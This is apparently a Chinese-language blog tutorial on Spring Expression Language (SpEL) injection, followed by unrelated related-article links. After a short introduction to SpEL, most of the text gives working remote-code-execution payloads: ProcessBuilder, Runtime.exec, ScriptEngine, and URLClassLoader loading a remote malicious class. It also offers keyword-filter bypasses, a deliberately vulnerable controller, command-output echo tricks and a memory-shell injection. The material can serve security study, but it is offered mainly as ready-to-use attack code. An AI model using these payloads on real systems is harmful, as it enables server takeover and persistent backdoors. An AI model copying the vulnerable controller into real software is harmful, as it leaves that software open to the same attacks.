环境依赖

 <dependencies>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-expression</artifactId>
<version>5.1.9.RELEASE</version>
</dependency>
</dependencies>

SPEL表达式基础

SPEL简介

在Spring 3中引入了Spring表达式语言(Spring Expression Language,简称SpEL),这是一种功能强大的表达式语言,支持在运行时查询和操作对象图,可以与基于XML和基于注解的Spring配置还有bean定义一起使用。

在Spring系列产品中,SpEL是表达式计算的基础,实现了与Spring生态系统所有产品无缝对接。Spring框架的核心功能之一就是通过依赖注入的方式来管理Bean之间的依赖关系,而SpEL可以方便快捷的对ApplicationContext中的Bean进行属性的装配和提取。由于它能够在运行时动态分配值,因此可以为我们节省大量Java代码。

SpEL有许多特性:

  • 使用Bean的ID来引用Bean
  • 可调用方法和访问对象的属性
  • 可对值进行算数、关系和逻辑运算
  • 可使用正则表达式进行匹配
  • 可进行集合操作

定界符${}与#{}

这两个作用不太一样,${}是一个占位符,可以进行一些注入,但中间的内容不会被解析,#{}是SPEL特有的定界符,中间的内容会被解析

类型表达式T()

举个例子

package org.example;

import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser; public class Main {
public static void main(String[] args) {
String cmdstr = "T(java.lang.String)";
ExpressionParser parser = new SpelExpressionParser();
Expression exp = parser.parseExpression(cmdstr);
System.out.println(exp.getValue());
}
} // 输出
class java.lang.String

T中的内容会被解析成类,如上所示,这样我们也能解析java.lang.Runtime

SPEL常见的表达式

一些比较常见的表达式

运算符类型 运算符
算数运算 +, -, *, /, %, ^
关系运算 <, >, ==, <=, >=, lt, gt, eq, le, ge
逻辑运算 and, or, not, !
条件运算 ?:(ternary), ?:(Elvis)
正则表达式 matches
运算符 符号 文本类型
等于 == eq
小于 < lt
小于等于 <= le
大于 > gt
大于等于 >= ge

变量定义和引用

在SPEL表达式中,变量定义通过EvaluationContext类的setVariable(variableName, value)函数来实现;在表达式中使用#variableName来引用;除了引用自定义变量,SPEL还允许引用根对象及当前上下文对象:

  • this:使用当前正在计算的上下文;

  • root:引用容器的root对象;

  • @something:引用Bean

RCE直接利用

常见有三种办法

ProcessBuilder

package org.example;

import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser; public class Main {
public static void main(String[] args) {
String cmdstr = "new java.lang.ProcessBuilder(new String[]{'calc'}).start()";
ExpressionParser parser = new SpelExpressionParser();
Expression exp = parser.parseExpression(cmdstr);
System.out.println(exp.getValue());
}
}

Runtime

package org.example;

import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser; public class Main {
public static void main(String[] args) {
String cmdstr = "T(java.lang.Runtime).getRuntime().exec('calc')";
ExpressionParser parser = new SpelExpressionParser();
Expression exp = parser.parseExpression(cmdstr);
System.out.println(exp.getValue());
}
}

ScriptEngine

package org.example;

import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser; public class Main {
public static void main(String[] args) {
String cmdstr = "new javax.script.ScriptEngineManager().getEngineByName(\"nashorn\").eval(\"s=[1];s[0]='calc';java.lang.Runtime.getRuntime().exec(s);\")";
// 或者
String cmdstr = "new javax.script.ScriptEngineManager().getEngineByName(\"javascript\").eval(\"s=[1];s[0]='calc';java.lang.Runtime.getRuntime().exec(s);\")";
ExpressionParser parser = new SpelExpressionParser();
Expression exp = parser.parseExpression(cmdstr);
System.out.println(exp.getValue());
}
}

注意这里调用的js的引擎,支持js语法,所以利用方式非常的灵活,绕过黑名单啥的也是一把好手

类加载RCE

URLClassLoader

package org.example;

import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser; public class Main {
public static void main(String[] args) {
String cmdstr = "new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL('http://127.0.0.1:8888/')}).loadClass(\"evilref\").getConstructors()[0].newInstance()";
String cmdstr = "new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL('http://127.0.0.1:8888/')}).loadClass(\"evilref\").newInstance()";
ExpressionParser parser = new SpelExpressionParser();
Expression exp = parser.parseExpression(cmdstr);
System.out.println(exp.getValue());
}
}

恶意类evilref用来弹计算器,自己写一个就行

AppClassLoader

package org.example;

import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser; public class Main {
public static void main(String[] args) {
String cmdstr = "T(java.lang.ClassLoader).getSystemClassLoader().loadClass('java.lang.Runtime').getRuntime().exec('calc')";
ExpressionParser parser = new SpelExpressionParser();
Expression exp = parser.parseExpression(cmdstr);
System.out.println(exp.getValue());
}
}

绕过

假如ban掉了一些关键字,我们该如何获取classloader

T(org.springframework.expression.Expression).getClass().getClassLoader()

#thymeleaf 情况下
T(org.thymeleaf.context.AbstractEngineContext).getClass().getClassLoader() #web服务下通过内置对象
{request.getClass().getClassLoader().loadClass(\"java.lang.Runtime\").getMethod(\"getRuntime\").invoke(null).exec(\"touch/tmp/foobar\")} username[#this.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec('xterm')")]=asdf #BCEL
T(com.sun.org.apache.bcel.internal.util.JavaWrapper)._main({"BCEL"})

回显问题

先搭建一个spring服务,写个controller

package com.example.demo.controller;

import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody; @Controller
public class spelcontroller {
@RequestMapping("/spel")
@ResponseBody
public String spelvul(String payload){
ExpressionParser parser = new SpelExpressionParser();
Expression exp = parser.parseExpression(payload);
return (String) exp.getValue();
} }

nmmd,我为什么回显不了,sb springboot,直接给payload吧

BufferedReader

new java.io.BufferedReader(new java.io.InputStreamReader(new ProcessBuilder("cmd", "/c", "whoami").start().getInputStream(), "gbk")).readLine()

Scanner

new java.util.Scanner(new java.lang.ProcessBuilder("cmd", "/c", "dir", ".\\").start().getInputStream(), "GBK").useDelimiter("asdasdasdasd").next()

这里的Delimiter是分隔符的意思,我们执行了dir指令,假如想让回显全部显示在一行。那么我们给一点乱七八糟的东西即可

ResponseHeader

由于springboot没有response,所以自己注册一个

package com.example.demo.controller;

import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.SpelParserConfiguration;
import org.springframework.expression.spel.standard.SpelExpressionParser;
import org.springframework.expression.spel.support.StandardEvaluationContext;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody; @Controller
public class spelcontroller {
@RequestMapping("/spel")
@ResponseBody
public String spelvul(String payload, HttpServletResponse response){
StandardEvaluationContext context=new StandardEvaluationContext();
context.setVariable("response",response);
ExpressionParser parser = new SpelExpressionParser(new SpelParserConfiguration());
Expression exp = parser.parseExpression(payload);
return (String) exp.getValue();
}
}

#response.addHeader('x-cmd',new java.io.BufferedReader(new java.io.InputStreamReader(new ProcessBuilder("cmd", "/c", "whoami").start().getInputStream(), "gbk")).readLine())

然后就会返回一个x-cmd请求头带着我们的命令回显

注入内存马

不需要response,直接注内存马来搞回显

T(org.springframework.cglib.core.ReflectUtils).defineClass('InceptorMemShell',T(org.springframework.util.Base64Utils).decodeFromString('????????'),T(java.lang.Thread).currentThread().getContextClassLoader()).newInstance()

SPEL表达式注入分析的更多相关文章

  1. 一文详解SpEL表达式注入漏洞

    摘要:本文介绍了SpEL表达式以及常见的SpEL注入攻击,详细地介绍了部分漏洞攻击实例以及常用的漏洞检测与防御手段. 本文分享自华为云社区<SpEL表达式注入漏洞分析.检查与防御>,作者: ...

  2. SpEL表达式注入漏洞学习和回显poc研究

    目录 前言 环境 基础学习和回显实验 语法基础 回显实验 BufferedReader Scanner SpEL漏洞复现 低版本SpringBoot中IllegalStateException CVE ...

  3. SpringBoot SpEL表达式注入漏洞-分析与复现

    目录 0x00前言 0x01触发原因 0x02调试分析 0x03补丁分析 0x04参考文章 影响版本: 1.1.0-1.1.12 1.2.0-1.2.7 1.3.0 修复方案:升至1.3.1或以上版本 ...

  4. SpringBoot框架SpEL表达式注入漏洞复现与原理分析

    前言 这是2016年的一个洞,利用条件是至少知道一个触发 springboot 默认错误页面的接口及参数名. 影响版本:1.1.0-1.1.12 1.2.0-1.2.7 1.3.0 修复方案:升级版本 ...

  5. java代码审计-SpEL表达式注入

    0x01 前言 Spring Expression Language(简称 SpEL)是一种功能强大的表达式语言.用于在运行时查询和操作对象图:语法上类似于Unified EL,但提供了更多的特性,特 ...

  6. SpEL表达式注入

    一.内容简介 Spring Expression Language(简称SpEL)是一种强大的表达式语言,支持在运行时查询和操作对象图.语言语法类似于Unified EL,但提供了额外的功能,特别是方 ...

  7. Java Web表达式注入

    原文:http://netsecurity.51cto.com/art/201407/444548.htm 0×00 引言 在2014年6月18日@终极修炼师曾发布这样一条微博: 链接的内容是一个名为 ...

  8. ref:一种新的攻击方法——Java Web表达式注入

    ref:https://blog.csdn.net/kk_gods/article/details/51840683 一种新的攻击方法——Java Web表达式注入 2016年07月06日 17:01 ...

  9. Spring实战学习笔记之SpEL表达式

            在Spring XML配置文件中装配Bean的属性和构造参数都是静态的,而在运行期才知道装配的值,就可以使用SpEL实现         SpEL表达式的首要目标是通过计算获得某个值. ...

  10. 【spring boot】SpringBoot初学(2.2)– SpEL表达式读取properties属性到Java对象

    前言 github: https://github.com/vergilyn/SpringBootDemo 代码位置:(注意测试方法在,test下的SpelValueApplicationTest.c ...

随机推荐

  1. docker方式部署并使用gitlab

    工作中企业会在内网搭建一个公司内部使用的git环境,一般用的是gitlab. GitLab 是一个用于仓库管理系统的开源项目,使用Git作为代码管理工具,并在此基础上搭建起来的web服务. 下面介绍一 ...

  2. 神经网络优化篇:详解TensorFlow

    TensorFlow 先提一个启发性的问题,假设有一个损失函数\(J\)需要最小化,在本例中,将使用这个高度简化的损失函数,\(Jw= w^{2}-10w+25\),这就是损失函数,也许已经注意到该函 ...

  3. win32 - 虚拟内存的一些介绍

    对32位Windows来说,其虚拟地址空间总数就是2的32次方,即4GB. 如果没有在引导时加上/3GB或/BOOTVA选项,Windows默认最大会分2GB给内核模式程序使用,2GB给用户模式程序. ...

  4. 如何快速使用LayUI MINI框架

    是什么 LayUI MINI是基于LayUI框架开发的一套最简洁.易用的后台框架模板,它已经是一个非常完整的脚手架,有现成的页面模板可以参考甚至是直接使用. 通常来说,如果我们准备开发一套管理系统的W ...

  5. 【Azure 应用程序见解】通过无代码方式在App Service中启用Application Insights后,如何修改在Application Insights中显示的App Service实例名呢?

    问题描述 在App Service中,可以非常容易的启动Application Insights服务.默认情况中,在Application Insights中查看信息时候,其中的对象名称默认为App ...

  6. 图数据库|Nebula Graph v3.1.0 性能报告

    本文首发于 Nebula Graph Community 公众号 本文系 Nebula Graph 发行版 v3.1.0 的性能测试报告. 本文目录 测试环境 测试数据 关于 LDBC-SNB 测试说 ...

  7. Web常见漏洞描述及修复建议(转载)

    Web常见漏洞描述及修复建议 我太难了king 白帽聚集地 1 week ago 1.SQL注入 漏洞描述 Web程序中对于用户提交的参数未做过滤直接拼接到SQL语句中执行,导致参数中的特殊字符破坏了 ...

  8. 如何使用疯狂URL获取抖音推流码地址(抖音推流码地址获取教程)

    本节所用到的工具:疯狂URL.OBS推流工具 什么是推流地址? 平时我们如果是下载直播,叫拉流.但如果是你自己要直播,属于上传直播流数据,叫推流,即:把直播流数据推送到视频服务器,然后别人才能看到直播 ...

  9. moviepy 官方网址

    https://zulko.github.io/moviepy/ Gitee 说我有违规信息 醉了 { title: "moviepy", url: "https://z ...

  10. vite中配置less,vue3中配置less

    前言 如果赶时间请直接使用目录跳到解决问题的部分. 使用的项目使用vue脚手架生成. npm init vue@latest 版本如下 "@vitejs/plugin-vue": ...